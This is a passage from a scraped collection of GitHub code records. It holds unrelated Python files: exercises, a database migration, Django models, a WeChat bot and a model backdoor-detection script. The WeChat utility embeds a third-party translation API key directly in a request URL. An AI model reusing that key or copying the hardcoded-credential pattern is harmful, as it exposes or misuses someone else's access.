'E']\n return [choice(elements) for x in range(0, 4)]\n\n\nprint('The coupon code which won:')\nprint(lottery())\n# 9.15\nprint('\\n9.15\\n')\nmy_ticket = ['A', 7, 5, 'C']\n\n# check comparison of lists\nprint(['A', 1] == ['A', 1]) # True\n\nlottery_inc = 0\nwhile True:\n lottery_inc += 1\n result = lottery()\n if my_ticket == result:\n print(lottery_inc, my_ticket, result)\n break\n\n# 9.16\nprint('\\n9.16\\n')\n# Python module of week https://pymotw.com/3/ -> great knowledge about Python standard library\n","repo_name":"MarcinGladkowski/python","sub_path":"python_crash_course/essentials/ex_9.py","file_name":"ex_9.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10210418767","text":"\"\"\"add UserBalance\n\nRevision ID: a2d1a9687b91\nRevises: 89065dc8cf5b\nCreate Date: 2023-01-26 16:57:27.247773\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a2d1a9687b91'\ndown_revision = '89065dc8cf5b'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('user_balances',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.Column('balance', sa.Float(), nullable=False),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('user_balances')\n # ### end Alembic commands ###\n","repo_name":"lowfie/BackendGameShop","sub_path":"migrations/versions/a2d1a9687b91_add_userbalance.py","file_name":"a2d1a9687b91_add_userbalance.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71326026153","text":"book_we_search = input()\n\nbook_count = 0\n\nis_book_found = False\n\n\nwhile True:\n\n current_book = input()\n\n if book_we_search == current_book:\n is_book_found = True\n print(f'You checked {book_count} books and found it.')\n break\n if current_book == 'No More Books':\n break\n book_count += 1\n\n\n\nif not is_book_found:\n print(f'The book you search is not here!')\n print(f'You checked {book_count} books')","repo_name":"Darkartt/SoftUni","sub_path":"SoftUni-Basic/whille_loop_exercise#/old_library.py","file_name":"old_library.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11249213378","text":"import torch\nfrom torch import nn\n\n\nclass PositionalEmbedding(nn.Module):\n\n def __init__(self, width: int, height: int, channels: int) -> None:\n super().__init__()\n east = torch.linspace(0, 1, height).repeat(width)\n west = torch.linspace(1, 0, height).repeat(width)\n south = torch.linspace(0, 1, width).repeat(height)\n north = torch.linspace(1, 0, width).repeat(height)\n east = east.reshape(width, height)\n west = west.reshape(width, height)\n south = south.reshape(height, width).T\n north = north.reshape(height, width).T\n linear_pos_embedding = torch.stack([north, south, west, east], dim=0) # 4 x w x h\n linear_pos_embedding.unsqueeze_(0) # for batch size\n self.channels_map = nn.Conv2d(4, channels, kernel_size=1)\n self.register_buffer('linear_position_embedding', linear_pos_embedding)\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n bs_linear_position_embedding = self.linear_position_embedding.expand(x.size(0), 4, x.size(2), x.size(3))\n x += self.channels_map(bs_linear_position_embedding)\n return x\n","repo_name":"Michedev/slot-attention-pytorch","sub_path":"slot_attention_pytorch/positional_embedding.py","file_name":"positional_embedding.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"28984082187","text":"# coding: utf-8\nfrom sussex_nltk.corpus_readers import ReutersCorpusReader\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem.porter import PorterStemmer\n\ndef vocabulary_size(sentences):\n tok_counts = collections.defaultdict(int)\n for sentence in sentences: \n for token in sentence:\n tok_counts[token] += 1\n return len(tok_counts.keys())\n\nrcr = ReutersCorpusReader() \nst = PorterStemmer()\n\nsample_size = 10000\n\nraw_sentences = rcr.sample_raw_sents(sample_size)\ntokenised_sentences = [word_tokenize(sentence) for sentence in raw_sentences]\nstemmed_sentences = [[st.stem(token) for token in sentence] for sentence in tokenised_sentences]\nraw_vocab_size = vocabulary_size(tokenised_sentences)\nstemmed_vocab_size = vocabulary_size(stemmed_sentences)\nprint(\"Stemming produced a {0:.2f}% reduction in vocabulary size from {1} to {2}\".format(\n 100*(raw_vocab_size - stemmed_vocab_size)/raw_vocab_size,raw_vocab_size,stemmed_vocab_size))\n","repo_name":"wmboult94/NLP","sub_path":"Workshops/Topic 1/solutions/impact_of_stemming.py","file_name":"impact_of_stemming.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"306446706","text":"import datetime\nfrom django.contrib import messages\nfrom django.views.generic.edit import FormView\nfrom django.views.generic import View\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import HttpResponseRedirect\nfrom .models import Apply, Attachment, Term\nfrom .forms import ApplyForm\nfrom borana.settings import DROPBOX_CLIENT\n\n\ndef days_left(deadline):\n today = datetime.date.today()\n days_left = str(deadline - today).split(' ')[0]\n if int(days_left[-1])>4 or int(days_left[-1])==0 or 10< int(days_left) <15:\n word = \"дней\"\n verb = 'Осталось'\n elif 1 Set[str]:\n \"\"\"\n Returns a set with all Python std modules\n\n Source: https://stackoverflow.com/a/6464112\n\n Note:\n There's a cooler way in Python 3.10 (https://stackoverflow.com/a/21659703)\n but I'm aware that not all Pythoners use 3.10 currently.\n\n Returns:\n Set[str]: A set with all current Python std modules\n \"\"\"\n modules_set = set()\n std_lib = sysconfig.get_python_lib(standard_lib=True)\n\n for top, _, files in os.walk(std_lib):\n for nm in files:\n if nm != \"__init__.py\" and nm[-3:] == \".py\":\n modules_set.add(\n os.path.join(top, nm)[len(std_lib) + 1 : -3].replace(\"\\\\\", \".\")\n )\n\n return modules_set\n\n\ndef is_module_in_stl(module_name: str) -> bool:\n return module_name in _get_std_modules()\n","repo_name":"icaka98/median-heap","sub_path":"test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74032184873","text":"from django.utils.translation import gettext_lazy as _\nfrom django.core.validators import MinValueValidator\nfrom django.db import models\nfrom django.conf import settings\n\n\nclass Customer(models.Model):\n \"\"\"Represents customers, with or without signed contract.\n Each customer is related to a Custom User from Sale group.\n User from sale group can create potentials clients, without\n sale_customuser. User from admin group (superuser) attribute\n sale_costumer to client, converting potential client in active\n client.customer\n \"\"\"\n\n first_name = models.CharField(\n \"Prénom client\",\n max_length=25,\n help_text=_(\"Each customer has a first name with max 25 caracters.\"),\n )\n last_name = models.CharField(\n \"Nom de famille client\",\n max_length=25,\n help_text=_(\"Each customer has a last name with max 25 caracters.\")\n )\n email = models.EmailField(\n \"email client\",\n max_length=100,\n help_text=_(\"Each customer has an email with max 100 caracters.\"),\n )\n phone = models.CharField(\n \"Téléphone fixe client\",\n max_length=20,\n help_text=_(\"Each customer has a phone number with max 20 caracters.\"),\n blank=True,\n )\n mobile = models.CharField(\n \"Téléphone mobile client\",\n max_length=20,\n help_text=_(\"Each customer has a mobile phone number with max 20 \\\n caracters.\"),\n )\n company_name = models.CharField(\n \"Company\",\n max_length=250,\n help_text=_(\"Company name customer for professional customers with\\\n max 250 caracters.\"),\n blank=True,\n )\n datetime_created = models.DateTimeField(\n \"Date création client\",\n auto_now_add=True,\n help_text=_(\"custumer creation datetime is automatically filled in.\"),\n )\n datetime_updated = models.DateTimeField(\n \"Date mise à jour client\",\n auto_now=True,\n help_text=_(\"custumer update datetime is automatically filled in.\"),\n )\n sales_customuser = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n null=True,\n blank=True,\n verbose_name=\"Contact vendeur\",\n related_name='custumers',\n help_text=_(\"The admin team asign a salesperson to each customer.\\\n this seller negotiates with the customer for contracts sign\"),\n )\n\n class Meta:\n ordering = ['last_name', 'first_name']\n verbose_name_plural = _(\"Clients\")\n\n def __str__(self):\n return \"{} {}\".format(self.first_name, self.last_name)\n\n @property\n def full_name(self):\n \"\"\"return the custumer's full name\"\"\"\n return \"{} {} - suivi par {}\".format(self.first_name,\n self.last_name.upper(),\n self.sales_customuser)\n\n\nclass Contract(models.Model):\n \"\"\"Represents customer's contracts.\n Each contract is related to a Custom User from Sale group\n and to a custumer.\n \"\"\"\n datetime_created = models.DateTimeField(\n \"Date création contrat\",\n auto_now_add=True,\n help_text=_(\"contract creation datetime is automatically filled in.\"),\n )\n datetime_updated = models.DateTimeField(\n \"Date mise à jour contrat\",\n auto_now=True,\n help_text=_(\"contract update datetime is automatically filled in.\"),\n )\n status_sign = models.BooleanField(\n \"Signature contrat\",\n default=False,\n help_text=_(\"Has to pass on True when contract is signed\"),\n )\n amount = models.DecimalField(\n \"Montant du contrat\",\n max_digits=9,\n decimal_places=2,\n help_text=_(\"Contract amount when signed. Float number\"),\n )\n payment_due = models.DateField(\n \"Echéance de paiement\",\n help_text=_(\"Payment due. Format: AAAA-MM-JJ\"),\n )\n customer = models.ForeignKey(\n Customer,\n on_delete=models.CASCADE,\n verbose_name=\"customer\",\n related_name=\"contracts_customer\",\n help_text=_(\"Each contract is related to a customer\"),\n )\n sales_customuser = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n verbose_name=\"Contact vendeur\",\n related_name='contracts',\n help_text=_(\"The admin team asign a salesperson to each customer.\\\n this seller negotiates with the customer for contracts sign\"),\n )\n\n class Meta:\n ordering = ['customer', '-datetime_created']\n verbose_name_plural = _(\"Contrats\")\n\n def __str__(self):\n return \"Contracté pour {} - {} $\".format(self.customer, self.amount)\n\n @property\n def description(self):\n \"\"\"return a short dercription of contract\"\"\"\n return \"Contracté pour {} - suivi par {}\".format(self.customer,\n self.sales_customuser)\n\n\nclass EventStatus(models.Model):\n \"\"\"Event status.\n \"\"\"\n status = models.CharField(\n \"Status évènement\",\n max_length=250,\n help_text=_(\"For event status choice. Three choices\\\n possibles: En préparation, En cours, Terminé\"),\n )\n\n class Meta:\n verbose_name_plural = _(\"Status évènements\")\n\n def __str__(self):\n return \"{}\".format(self.status)\n\n\nclass Event(models.Model):\n \"\"\"Represents customer's event.\n Each event is related to a CustomUser from Support group\n and to a customer.\n \"\"\"\n datetime_created = models.DateTimeField(\n \"Date création évènement\",\n auto_now_add=True,\n help_text=_(\"event creation datetime is automatically filled in.\"),\n )\n datetime_updated = models.DateTimeField(\n \"Date mise à jour évènement\",\n auto_now=True,\n help_text=_(\"event update datetime is automatically filled in.\"),\n )\n attendees = models.IntegerField(\n \"Nombre convives\",\n validators=[MinValueValidator(0)],\n null=True,\n blank=True,\n help_text=_(\"number of attendees. Must be positive integer\"),\n )\n event_date = models.DateField(\n \"Date de l'évènement\",\n null=True,\n blank=True,\n help_text=_(\"Date event. Format: AAAA-MM-JJ\"),\n )\n notes = models.TextField(\n \"Notes et détails d'organisation\",\n help_text=_(\"Notes and organisation details.\"),\n blank=True,\n )\n customer = models.ForeignKey(\n Customer,\n on_delete=models.CASCADE,\n verbose_name=\"customer\",\n related_name='events_customer',\n help_text=_(\"Each event is related to a custumer\"),\n )\n support_customuser = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n null=True,\n blank=True,\n verbose_name=\"Contact support\",\n related_name='events',\n help_text=_(\"The admin team asign a support person to each customer.\\\n this supprt personn manage event oàrganisation with the customer\"),\n )\n\n status = models.ForeignKey(\n EventStatus,\n on_delete=models.CASCADE,\n verbose_name=\"status évènement\",\n related_name='status_events',\n default=1,\n help_text=_(\"Each event has a status: '1: En préparation',\\\n '2: En cours' or '3: Terminé'\"),\n )\n\n class Meta:\n ordering = ['status', 'event_date']\n verbose_name_plural = _(\"Evènements\")\n\n def __str__(self):\n return \"Evènement commandé par {} - suivi par {}\".format(\n self.customer, self.support_customuser)\n\n @property\n def description(self):\n \"\"\"return a short description of event\"\"\"\n return \"Evènement commandé par {} - {} \".format(\n self.customer, self.status)\n\n @property\n def has_support(self):\n \"\"\"Return True if event has support\n \"\"\"\n if self.support_customuser is None:\n return False\n else:\n return True\n","repo_name":"ChardonBleu/EpicEvent","sub_path":"CRM/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74266251114","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\nimport time\nimport hashlib\nimport functools\n\nimport tornado.template as template\n\nimport requests\nfrom lxml import etree\n\nfrom local_setting import WX_PLAT_TOKEN, TAX_CONST, TAX_START_CONST, tmp\n\n\nclass Retry(object):\n \"\"\"This class will create a retry decorator.\n Using is_valid to judge if wrapped function failed.\n Retry if wrapped function failed.\n Retry at most MAX_TRIES times.\n \"\"\"\n MAX_TRIES = 3\n\n def __init__(self, is_valid=id, max_tries=3):\n self.is_valid = is_valid\n self.MAX_TRIES = max_tries\n\n def __call__(self, func):\n @functools.wraps(func)\n def retried_func(*args, **kwargs):\n resp = None\n tries = 0\n while tries < self.MAX_TRIES:\n try:\n resp = func(*args, **kwargs)\n except Exception:\n continue\n if self.is_valid(resp):\n break\n tries += 1\n return resp\n return retried_func\n\n\nretry = Retry()\n\n\ndef parse(xml_string):\n \"\"\"\n parse xml string, return a message object if succeed, else return None\n :param xml_string: xml string that we-chat post to server\n :return: None or a message object\n \"\"\"\n # TODO\n # add support for other type of message\n # add support for encrypted message\n xml = etree.fromstring(xml_string)\n developer = xml.find('ToUserName').text\n sender = xml.find('FromUserName').text\n create_time = xml.find('CreateTime').text\n message_type = xml.find('MsgType').text\n message = None\n\n # 信息类型是text\n if message_type == 'text':\n message_id = xml.find('MsgId').text\n content = xml.find('Content').text\n Loader = template.Loader(\"templates\")\n text_resp = Loader.load(\"text_reply.xml\")\n t = template.Template(tmp)\n if content.startswith('!menu'):\n temp = tuple(content[3:].split(u','))\n param1 = int(temp[0])\n param2 = int(temp[1])\n RespContent = \"\"\"\n# 中英互译:直接输入中文\\n\n# 查询税后收入:!薪水<数字金额>,<发多少个月工资>例如 “#12000,13”\n\"\"\" % calc_tax(param1,param2)\n return t.generate(toUser=sender,\n fromUser=developer,\n int_time=int(time.time()),\n Content=RespContent)\n if content.startswith(u'#'):\n temp = tuple(content[1:].split(u','))\n param1 = int(temp[0])\n param2 = int(temp[1])\n RespContent = \"\"\"\n* 月入:%s ,年入:%s *\\n\n月实际收入:%s\\n税赋:%s\\n\n年实际奖金:%s\\n税赋:%s\\n\n* 一年实际总收入:%s *\n\"\"\" % calc_tax(param1,param2)\n return t.generate(toUser=sender,\n fromUser=developer,\n int_time=int(time.time()),\n Content=RespContent)\n if type(content).__name__ == 'unicode':\n content = content.encode('utf-8')\n RespContent = youdao(content)\n return t.generate(toUser=sender,\n fromUser=developer,\n int_time=int(time.time()),\n Content=RespContent)\n\n\n # 信息类型是event\n if message_type == \"event\":\n eventContent = xml.find(\"Event\").text\n if eventContent == \"subscribe\":\n RespContent = \"\"\"\n感谢你的关注。\n若有疑问请在微信中查找添加 infixz。\n目前实用功能有:\n1.中英文互译(感谢有道翻译)。\n2.流言(这是一个匿名聊天板)。\n3.薪水(帮你计算税后所得)。\n输入 !menu 查看操作指令\"\"\"\n t = template.Template(tmp)\n return t.generate(toUser=sender,\n fromUser=developer,\n int_time=int(time.time()),\n Content=RespContent)\n\n\ndef check_signature(signature, timestamp, nonce):\n \"\"\"check if we-chat message is valid\"\"\"\n if not signature or not timestamp or not nonce or not WX_PLAT_TOKEN:\n return False\n tmp_lst = [WX_PLAT_TOKEN, timestamp, nonce]\n tmp_lst.sort()\n tmp_str = ''.join(tmp_lst)\n return hashlib.sha1(tmp_str).hexdigest() == signature\n\n\ndef calc_tax(salary_m,num):\n # 检查参数类型\n if not (type(salary_m) == int and type(num) == int):\n return False\n # init param\n salary_m_in_real = 0\n salary_m_tax = 0\n salary_y = 0 # 每年账面薪水(包含奖金)\n base = salary_m - TAX_START_CONST\n income = 0 # 每年实际入账(包含税后奖金)\n bonus = num # 账面奖金\n bonus_in_real = 0\n bonus_tax = 0\n if 12 < num <= 30:\n bonus = salary_m * (num - 12)\n elif num == 12:\n bonus = 0\n salary_y = salary_m * 12 + bonus\n # 计算税率\n # part1:salary part\n (rate,deduct) = tax_rate(base)\n salary_m_tax = (salary_m - TAX_START_CONST) * rate - deduct\n salary_m_in_real = salary_m - salary_m_tax\n # part2:bonus part\n (rate,deduct) = tax_rate(bonus)\n bonus_tax = bonus * rate - deduct\n bonus_in_real = bonus - bonus_tax\n # part3:total\n income = salary_m_in_real * 12 + bonus_in_real\n return (salary_m,salary_y,\n salary_m_in_real,salary_m_tax,\n bonus_in_real,bonus_tax,\n income)\n\n\ndef tax_rate(money):\n if money == 0:\n return (0.0,0)\n if 0 < money <= 1500:\n return TAX_CONST[1]\n if 1500 < money <= 4500:\n return TAX_CONST[2]\n if 4500 < money <= 9000:\n return TAX_CONST[3]\n if 9000 < money <= 35000:\n return TAX_CONST[4]\n if 35000 < money <= 55000:\n return TAX_CONST[5]\n if 55000 < money <= 80000:\n return TAX_CONST[6]\n if 80000 < money:\n return TAX_CONST[7]\n \n\ndef youdao(word):\n url = r'http://fanyi.youdao.com/openapi.do?keyfrom=sorrible&key=1660616686&type=data&doctype=json&version=1.1&q='\n builded_url = url+word\n result = requests.get(builded_url).json()\n if result['errorCode'] == 0:\n if 'basic' in result.keys():\n trans = '%s:\\n%s\\n%s\\n网络释义:\\n%s'%(result['query'],''.join(result['translation']),' '.join(result['basic']['explains']),'\\n'.join(result['web'][0]['value']))\n return trans\n else:\n trans = '%s:\\n基本翻译:%s\\n'%(result['query'],''.join(result['translation']))\n elif result['errorCode'] == 20:\n return '对不起,要翻译的文本过长'\n elif result['errorCode'] == 30:\n return '对不起,无法进行有效的翻译'\n elif result['errorCode'] == 40:\n return '对不起,不支持的语言类型'\n else:\n return '对不起,您输入的单词%s无法翻译,请检查拼写'% word\n","repo_name":"Infixz/ddddd","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":6894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15727576581","text":"\"\"\"\nDetect Backdoor attacks\n\"\"\"\n\nimport tensorflow as tf\nimport argparse as ap\nfrom pathlib import Path\nimport keras\n#rom eval import data_loader, data_preprocess\nfrom fine_pruning import data_preprocess_and_load\nimport os\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport copy\n\ndef build_parser():\n parser = ap.ArgumentParser()\n parser.add_argument('--orig', '-og', help='Path to original (backdoored) model', required=True)\n parser.add_argument('--pruned', '-pr', help='Path to Pruned model. Generate a pruned model using fine_prune.py', required=True)\n parser.add_argument('--dset', '-ds', help='Path to dataset', required=True)\n parser.add_argument('--outpath', '-o', help='File to store output labels', default='output.txt')\n return parser\n\n\ndef main():\n parser = build_parser()\n args = parser.parse_args()\n args.outpath = Path(args.outpath).resolve()\n if not args.outpath.parent.exists():\n os.makedirs(args.outpath.parent)\n \n orig_model = keras.models.load_model(args.orig)\n rep_model = keras.models.load_model(args.pruned)\n\n test_x, test_y = data_preprocess_and_load(args.dset)\n num_labels = 1282 ## YouTube Face dataset labels\n bd_label = num_labels+1 \n #print('Predicting ...')\n orig_preds = np.argmax(orig_model.predict(test_x), axis=1)\n rep_preds= np.argmax(rep_model.predict(test_x), axis=1)\n #print(orig_preds.shape)\n\n check = (orig_preds == rep_preds)\n final_preds = copy.deepcopy(orig_preds)\n final_preds[check==False] = bd_label\n np.save(args.outpath, final_preds)\n\nif __name__ == '__main__':\n main()","repo_name":"ameya005/ECE9163_project","sub_path":"detect_backdoor.py","file_name":"detect_backdoor.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17240389446","text":"from __future__ import annotations\nfrom typing import (\n Any,\n Callable,\n Generic,\n Optional,\n Type,\n TypeVar,\n Union,\n TYPE_CHECKING,\n)\nimport inspect\nfrom pathlib import Path\n\nfrom cuckoo.constants import ORDER_BY, WHERE\nfrom cuckoo.models import TMODEL\nfrom cuckoo.utils import BracketStyle, in_brackets\n\nif TYPE_CHECKING:\n from cuckoo.root_node import RootNode, HasuraClientError\n from cuckoo.include import TCOLUMNS\n from cuckoo.finalizers import AggregatesDict, CountDict\n\n\"\"\"The `BinaryTreeNode[TMODEL]` with its data class `GraphQLFragments`.\n\nThe `BinaryTreeNode[TMODEL]` represents a node in a binary tree and it uses an instance\nof the `GraphQLFragments` class for storing its data. The `GraphQLFragments` data class\ncontains a list of at least one response key class.\n\"\"\"\n\n\nclass ColumnResponseKey:\n def __init__(self, columns: TCOLUMNS):\n self._columns = columns\n\n def __str__(self):\n return \" \".join(str(column) for column in self._columns)\n\n\nclass ReturningResponseKey(ColumnResponseKey):\n def __str__(self):\n return f\"\"\"\n returning {{\n {super().__str__()}\n }}\n \"\"\"\n\n\nclass AggregateResponseKey:\n def __init__(\n self,\n aggregates: AggregatesDict,\n ):\n self._aggregates = aggregates\n\n @staticmethod\n def as_gql(obj):\n if isinstance(obj, dict):\n return in_brackets(\n \" \".join(\n f\"{key} {AggregateResponseKey.as_gql(value)}\"\n for key, value in obj.items()\n ),\n BracketStyle.CURLY,\n )\n elif isinstance(obj, set):\n return in_brackets(\n \" \".join(AggregateResponseKey.as_gql(value) for value in obj),\n BracketStyle.CURLY,\n )\n elif isinstance(obj, (str, int, float)) and not isinstance(obj, bool):\n return obj\n else:\n raise ValueError(\"Cannot convert to GraphQL: \", obj)\n\n def __str__(self):\n return f\"\"\"\n aggregate {{\n {\" \".join(\n f\"{field} {AggregateResponseKey.as_gql(obj)}\"\n for field, obj in self._aggregates.items()\n if obj is not None\n )}\n }}\n \"\"\"\n\n\nclass AffectedRowsResponseKey:\n def __str__(self):\n return \"affected_rows\"\n\n\nclass NodesResponseKey(ColumnResponseKey):\n def __str__(self):\n return f\"\"\"\n nodes {{\n {super().__str__()}\n }}\n \"\"\"\n\n\nclass GraphQLFragments(Generic[TMODEL]):\n \"\"\"\n Data class of the `BinaryTreeNode`, that stores all string fragments required for\n producing a GraphQL query or mutation. See `__str__` method for how they get\n arranged.\n \"\"\"\n\n def __init__(\n self,\n node: BinaryTreeNode[TMODEL],\n ):\n self._node = node\n self.query_name: str\n self.outer_args: list[str] = []\n self.inner_args: list[str] = []\n self.response_keys: list[\n Union[\n ColumnResponseKey,\n ReturningResponseKey,\n AggregateResponseKey,\n AffectedRowsResponseKey,\n NodesResponseKey,\n ]\n ] = []\n self.variables: dict[str, Any] = {}\n\n def build_from_conditionals(\n self,\n append: Optional[dict] = None,\n data: Optional[dict] = None,\n delete_at_path: Optional[dict] = None,\n delete_elem: Optional[dict] = None,\n delete_key: Optional[dict] = None,\n distinct_on: Optional[set[str]] = None,\n inc: Optional[dict] = None,\n limit: Optional[int] = None,\n offset: Optional[int] = None,\n on_conflict: Optional[dict[str, str]] = None,\n order_by: Optional[ORDER_BY] = None,\n pk_columns: Optional[dict] = None,\n prepend: Optional[dict] = None,\n updates: Optional[list[dict]] = None,\n where_req: Optional[WHERE] = None,\n where: Optional[WHERE] = None,\n args: Optional[tuple[dict, str]] = None, # (args_dict, function_name)\n ):\n table_name = self._node._get_table_name_by_model()\n fragments_by_arg = filter(\n lambda arg: arg[0] is not None,\n [\n (append, f\"{table_name}_append_input\", \"_append\"),\n (data, f\"{table_name}_set_input\", \"_set\"),\n (\n delete_at_path,\n f\"{table_name}_delete_at_path_input\",\n \"_delete_at_path\",\n ),\n (delete_elem, f\"{table_name}_delete_elem_input\", \"_delete_elem\"),\n (delete_key, f\"{table_name}_delete_key_input\", \"_delete_key\"),\n (distinct_on, f\"[{table_name}_select_column!]\", \"distinct_on\"),\n (inc, f\"{table_name}_inc_input\", \"_inc\"),\n (limit, \"Int\", \"limit\"),\n (offset, \"Int\", \"offset\"),\n (on_conflict, f\"{table_name}_on_conflict\", \"on_conflict\"),\n (order_by, f\"[{table_name}_order_by!]\", \"order_by\"),\n (pk_columns, f\"{table_name}_pk_columns_input!\", \"pk_columns\"),\n (prepend, f\"{table_name}_prepend_input\", \"_prepend\"),\n (updates, f\"[{table_name}_updates!]!\", \"updates\"),\n (where_req, f\"{table_name}_bool_exp!\", \"where\"),\n (where, f\"{table_name}_bool_exp\", \"where\"),\n (\n (None, None, None)\n if args is None\n else (args[0], f\"{args[1]}_args!\", \"args\")\n ),\n ],\n )\n\n for arg_value, outer_arg_type, inner_arg_name in fragments_by_arg:\n arg_name = self._node._root._generate_var_name()\n self.variables.update({arg_name: arg_value})\n self.outer_args.append(f\"${arg_name}: {outer_arg_type}\")\n self.inner_args.append(f\"{inner_arg_name}: ${arg_name}\")\n\n return self\n\n def build_for_count(self, count: Union[bool, CountDict, None]):\n count_args_str = None\n if count is True:\n count_args_str = \"\"\n elif isinstance(count, dict):\n count_args: list[str] = []\n assert self._node._root\n if \"columns\" in count:\n table_name = self._node._get_table_name_by_model()\n var = self._node._root._generate_var_name()\n self.outer_args.append(f\"${var}: [{table_name}_select_column!]\")\n self.variables.update({var: count[\"columns\"]})\n count_args.append(f\"columns: ${var}\")\n if \"distinct\" in count:\n var = self._node._root._generate_var_name()\n self.outer_args.append(f\"${var}: Boolean\")\n self.variables.update({var: count[\"distinct\"]})\n count_args.append(f\"distinct: ${var}\")\n count_args_str = f\"({', '.join(count_args)})\"\n else:\n raise HasuraClientError(f\"Illegal format of `count` argument: {count}\")\n return count_args_str\n\n\nTRECURSE = TypeVar(\"TRECURSE\")\n\"\"\"Return type of the `fn` function argument of the `BinaryTreeNode._recurse` method\"\"\"\n\n\nclass BinaryTreeNode(Generic[TMODEL]):\n \"\"\"Represents a node in a binary tree.\n\n A node has one `_parent` reference and a list of `_children` references to other\n nodes in the tree. For convenience, it also has a reference to the `_root` node for\n easy access. The root node is identified by having the `_parent` as well as the\n `_root` referencing `self` (see `is_root`).\n The class comes with some convenience methods for working with the tree:\n\n - `_get_table_name_by_model()`: get the DB table name of the model.\n - `_bind_to_parent(parent)`: bind the node to another by setting the `_parent` and\n `_children` references in both nodes accordingly.\n - `_recurse(function)`: apply a function to each child node and append the result of\n each call to a resulting list of results.\n \"\"\"\n\n def __init__(\n self: BinaryTreeNode,\n model: Type[TMODEL],\n parent: Optional[BinaryTreeNode] = None,\n ):\n super().__init__()\n self.model = model\n self._root: RootNode\n self._parent: BinaryTreeNode\n self._children: list[BinaryTreeNode] = []\n self._fragments = GraphQLFragments[TMODEL](self)\n\n if parent:\n self._bind_to_parent(parent)\n self._table_name = self._get_table_name_by_model()\n self._query_alias = self._root._generate_var_name()\n else:\n self._root = self._parent = self # make self a root node\n\n def __str__(self: BinaryTreeNode):\n inner_args = self._fragments.inner_args\n return f\"\"\"\n {self._fragments.query_name}{\n in_brackets(', '.join(inner_args), condition=bool(inner_args))\n } {{\n {\" \".join(str(rk) for rk in self._fragments.response_keys)}\n }}\n \"\"\"\n\n @property\n def _is_root(self):\n return self._parent == self._root == self\n\n def _get_schema_name(self):\n return Path(inspect.getfile(self.model)).parent.name\n\n def _get_table_name_by_model(self):\n \"\"\"\n Get the table schema and name in the format `_`. The\n schema name is taken from the parent directory name the model file is\n placed in. The table name is taken from the ``_table_name`` attribute of\n the `HasuraTableModel`.\n Example:\n\n ```\n # models/anomaly/signal.py\n class Signal(HasuraTableModel):\n _table_name = \"signals\"\n uuid: UUID\n # more signal properties\n\n assert BinaryTreeNode(Signal)._get_table_name_by_model() == \"anomaly_signals\"\n ```\n \"\"\"\n return self._prepend_with_schema(self.model._table_name)\n\n def _prepend_with_schema(self, label: str):\n schema = self._get_schema_name()\n if schema == \"public\":\n return label\n else:\n return f\"{schema}_{label}\"\n\n def _bind_to_parent(self, parent: BinaryTreeNode):\n self._parent = parent\n self._root = parent._root\n parent._children.append(self)\n return self\n\n def _recurse(self, fn: Callable[[BinaryTreeNode], TRECURSE]):\n results: list[TRECURSE] = []\n for child in self._children:\n results.append(fn(child))\n results += child._recurse(fn)\n return results\n","repo_name":"hotaru355/cuckoo-hasura","sub_path":"cuckoo/binary_tree_node.py","file_name":"binary_tree_node.py","file_ext":"py","file_size_in_byte":10567,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"33941741247","text":"def minim(x,y):\n if x int:\n n = len(cost)\n cost.append(0)\n minCost = [0,cost[0]]\n for i in range(2,n+1):minCost.append(0)\n for i in range(2,n+1):\n minCost[i] = cost[i-1] + min(minCost[i-1],minCost[i-2])\n return minim(minCost[n],minCost[n-1])","repo_name":"piratzii-tm/algorithms_solutions","sub_path":"leetcode/Min_Cost_Climbing_Stairs.py","file_name":"Min_Cost_Climbing_Stairs.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16245807677","text":"\"\"\"Two Sum in Binary Search Tree.\"\"\"\n\n\nclass Node:\n def __init__(self, data: int) -> None:\n self.data = data\n self.left = None\n self.right = None\n\n\nclass Solution:\n def __init__(self, root: Node) -> None:\n self.root = root\n self.first: Node = None\n self.prev: Node = None\n self.middle: Node = None\n self.last: Node = None\n\n def inorder(self, root: Node) -> None:\n if root is 